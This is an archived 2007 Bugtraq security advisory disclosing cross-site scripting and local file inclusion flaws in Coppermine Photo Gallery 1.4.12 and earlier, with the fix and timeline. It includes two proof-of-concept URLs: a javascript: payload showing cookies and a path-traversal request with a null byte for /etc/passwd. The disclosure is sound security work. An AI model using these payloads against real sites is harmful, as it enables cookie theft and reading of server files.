Coppermine <= 1.4.12 Cross Site Scripting and Local File Inclusion
- To: bugtraq@xxxxxxxxxxxxxxxxx
- Subject: Coppermine <= 1.4.12 Cross Site Scripting and Local File Inclusion
- From: L4teral <l4teral@xxxxxxxxx>
- Date: Mon, 17 Sep 2007 22:31:13 +0200
- Dkim-signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=beta; h=domainkey-signature:received:received:message-id:date:from:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition; bh=bFw1KPINxYvOU0y+ozfcz9O9N2RvtuLN/2OLmdLenxc=; b=ecgC4u+9K5AkritvE5zmP5TYXafvHahWKCJmp4GrjBWPFIChCbzbgv0qHPkO7auxruU3lAj3H9xcoRFiKN0bhkuKawjiq/fA0Wgfwbs4p8hyC9o4uw8R19aRi0Wu7n/c0uZ5jlZfEFqwcau+03SKj8qjnxC3quWyBy++sg+cWaM=
- Domainkey-signature: a=rsa-sha1; c=nofws; d=gmail.com; s=beta; h=received:message-id:date:from:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition; b=E2grJ4Ui/3E8oX3S15WU2BgUSftwu70GKpioZ/oeSfEwHv2cEf4xBU5Bw12Ryn57dhOHP90KKV1Ij5aZy6yn5VGlWbBqr6XUw3S002b6ax+IuDR5Psj2d0nXJ6BXP1HATgnzbx9+KdACLP0hoOLJgxjaPjFkUV4SjnJiGt25d6w=
- List-help: <mailto:bugtraq-help@securityfocus.com>
- List-id: <bugtraq.list-id.securityfocus.com>
- List-post: <mailto:bugtraq@securityfocus.com>
- List-subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
- List-unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
- Mailing-list: contact bugtraq-help@xxxxxxxxxxxxxxxxx; run by ezmlm
============================================================
Coppermine <= 1.4.12 Cross Site Scripting and Local File Inclusion
============================================================
Author: L4teral <l4teral [4t] gmail com>
Impact: Cross Site Scripting/Local File Inclusion
Status: patch available
------------------------------
Affected software description:
------------------------------
Application: Coppermine Photo Gallery
Version: <= 1.4.12
Vendor: http://coppermine-gallery.net
Description:
Coppermine is a multi-purpose fully-featured and integrated
web picture gallery script written in PHP using GD or ImageMagick
as image library with a MySQL backend.
----------------
Vulnerabilities:
----------------
The script mode.php does not properly sanitize the "referer" parameter.
The script viewlog.php does not properly sanitize the "log" parameter.
------------
Poc/Exploit:
------------
http://localhost/cpg/mode.php?admin_mode=1&referer=javascript:alert(document.cookie)
http://localhost/cpg/viewlog.php?log=../../../../../../../../../etc/passwd%00
(should need admin privileges)
---------
Solution:
---------
update to 1.4.13 or above
---------
Timeline:
---------
03.09.2007 - vendor informed
14.09.2007 - patch released by vendor
17.09.2007 - public disclosure